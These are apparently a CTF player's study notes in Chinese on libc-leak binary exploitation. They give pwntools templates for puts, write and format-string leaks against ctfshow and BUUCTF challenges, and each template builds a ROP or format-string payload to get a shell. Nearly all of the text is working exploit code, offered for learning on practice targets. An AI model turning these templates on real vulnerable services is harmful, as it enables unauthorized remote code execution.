libc泄露

碰到一题学一题不断更新

libc泄露

这里主要记录模版和相关例题,在没有直接给system(/bin/sh)的题目,并且有put,write等函数的时候可以考虑libc泄露

puts泄露

puts(32位)

例题:ctfshow的pwn48

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context(os = 'linux', arch = 'i386', log_level = 'debug')
#r = process("./pwn48") #本地
r = remote("pwn.challenge.ctf.show", 28274) #远程
elf = ELF('./pwn48')
offset = 0x6B + 0x4 #根据实际的偏移量填写
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
r.sendline(payload)
puts_addr = u32(r.recvuntil('\xf7')[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_case = puts_addr - libc.dump('puts')
system_addr = libc_case + libc.dump('system')
bin_sh = libc_case + libc.dump('str_bin_sh')
payload = offset * b'a' + p32(system_addr) + p32(0) + p32(bin_sh)
r.sendline(payload)
r.interactive()

puts(64位)

例题:ctfshow的pwn,这题write和puts都有这里只用puts,write下面有别的例题

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
#context(os='linux', arch='amd64', log_level='debug')
#r = process("./pwn46")
r = remote("pwn.challenge.ctf.show", 28220)
elf = ELF("./pwn46")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
offset = 0x70+8
rdi_ret = 0x0000000000400803
ret = 0x00000000004004fe
payload1 = b"a"*offset+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil("O.o?\n")#此题不可去
r.sendline(payload1)
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
#puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
print(hex(system))
print(hex(binsh))
payload2=b"a"*offset+p64(rdi_ret)+p64(binsh)+p64(system)
r.sendline(payload2)
r.interactive()

获取rdi,ret的地址可以通过ROPgadget

1
ROPgadget --binary ./pwn46 --only "pop|ret"

write泄露

write(32位)

例题:BUUCTF的jarvisoj_level3

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *

r=remote('node5.buuoj.cn',27119)
elf=ELF('./level3')
main = elf.sym["main"]
write_plt=elf.plt['write']
write_got=elf.got['write']
offset = 0x88+4
payload=b'a'*offset+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

r.recvuntil('Input:\n')
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload=b'a'*offset+p32(system)+p32(main)+p32(sh)
#r.recvuntil('Input:\n')
r.sendline(payload)

r.interactive()

write(64位)

例题:BUUCTF的jarvisoj_level3_x64

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
from LibcSearcher import *

#context(arch='amd64', os='linux', log_level='debug')

# 初始化目标:本地文件或远程服务
elf = ELF('./level3_x64') # 替换成你的二进制文件名
#r = process('./level3_x64') # 本地测试
r = remote('node5.buuoj.cn', 28476) # 远程连接

# 获取关键地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main'] # 用于重新触发漏洞(可选)

# 寻找ROP Gadgets(需根据实际二进制用ROPgadget查找)
pop_rdi = 0x04006b3 # pop rdi; ret; (示例地址,需替换)
pop_rsi_r15 = 0x4006b1 # pop rsi; pop r15; ret; (示例地址,需替换)

# 计算溢出偏移量(需通过调试确定)
offset = 0x80 + 0x08 # 替换成你的实际偏移量

# 构造泄露write@got的ROP链

payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)
#等同于payload = b'A' * offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(main_addr)
# 发送Payload
r.sendlineafter(b'Input:\n', payload) # 根据实际提示符修改

# 接收泄露的地址(注意接收长度)

write_leak = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success(f'write@libc: {hex(write_leak)}')

# 使用libcsearch查找libc版本
libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')

log.info(f'libc base: {hex(libc_base)}')
log.info(f'system@libc: {hex(system_addr)}')
log.info(f'/bin/sh@libc: {hex(bin_sh_addr)}')

# 构造后续攻击Payload(示例:ret2system)
payload2 = flat(
b'A' * offset,
p64(pop_rdi),
p64(bin_sh_addr),
p64(system_addr)
)

# 发送第二个Payload
r.sendline(payload2)

# 获得shell
r.interactive()

本题的rdx已被填写所以不用考虑,并且此题也找不到rdx

1

如果有rdx的话

1
2
3
4
5
6
7
8
9
10
11
12
payload = flat(
[b'A'] * offset, # 填充到返回地址
p64(pop_rdi),
p64(1), # fd=1(stdout)
p64(pop_rsi_r15),
p64(write_got), # 要泄露的地址(write@got)
p64(0), # 填充r15
p64(pop_rdx),
p64(8), # 设置rdx为8,因为我们要读取8个字节(也不一定是8)
p64(write_plt), # 调用write(1, write@got, 8)
p64(main_addr) # 返回main重新执行(可选)
)

printf泄露(格式化字符串)

例题:ctfshow的pwn95

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
#context(arch = "amd64",os = 'linux',log_level = 'debug')
#context(arch = "i386",os = 'linux',log_level = 'debug')
#r = process("./pwn")
r = remote('pwn.challenge.ctf.show',28269)
elf = ELF("./pwn")
#计算出的偏移量,根据实际情况调整
offset = 6
printf_got = elf.got['printf']
payload1 = p32(printf_got) + b'%6$s'
r.send(payload1)
printf_addr = u32(r.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
system_addr = libc_base + libc.dump('system')
payload = fmtstr_payload(offset,{printf_got:system_addr})

r.send(payload)
r.send('/bin/sh')
r.interactive()

例题:axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#sh=process("./pwn")
sh=remote('node5.buuoj.cn',26272)
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')
puts_got=elf.got['puts']
printf_got =elf.got['printf']
main = elf.sym['main']
#payload1 = p32(puts_got)+b'%8$s'
payload1 = b'%9$saaaa'+p64(puts_got) #%9$saaaa占了一个字符所以8 -->9
sh.sendlineafter('Please tell me:',payload1)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_add=>',hex(puts_addr))
libc.address = puts_addr-libc.sym['puts']
system_addr = libc.sym['system']
printf_addr = libc.sym['printf']
print('system_add=>',hex(system_addr))
print('printf_add=>',hex(printf_addr))
#这些地址只有部分不一样,那么只要覆盖这些不一样的即可了
sysaddr1=system_addr&0xff
sysaddr2=(system_addr&0xff00)>>8
sysaddr3=(system_addr&0xff0000)>>16
print('sys1=>',hex(sysaddr1))
print('sys2=>',hex(sysaddr2))
print('sys3=>',hex(sysaddr3))
#9是输出的“Repeater:”的字符数
sysaddr1_value = sysaddr1-9
result = sysaddr2-sysaddr1
sysaddr2_value=result if result>0 else result+0x100
result = sysaddr3-sysaddr2
sysaddr3_value=result if result>0 else result+0x100

#这种和32位一样的写法会被00截断,所以需要把要覆盖的地址放到payload最后面
# payload2=b'aaaa'+p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)#共22个字符
# payload2+=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%9$hhn'
# payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%10$hhn'
# payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%11$hhn'

payload2=b'%'+bytes(str(sysaddr1_value),encoding='utf-8')+b'c'+b'%13$hhn'
payload2+=b'%'+bytes(str(sysaddr2_value),encoding='utf-8')+b'c'+b'%14$hhn'
payload2+=b'%'+bytes(str(sysaddr3_value),encoding='utf-8')+b'c'+b'%15$hhn'
payload2=payload2.ljust(40,b'a')
print('len=>',len(payload2))
print(payload2)
payload2+=p64(printf_got)+p64(printf_got+1)+p64(printf_got+2)


sh.sendline(payload2)
payload3 = b';/bin/sh'
sh.sendline(payload3)
sh.interactive()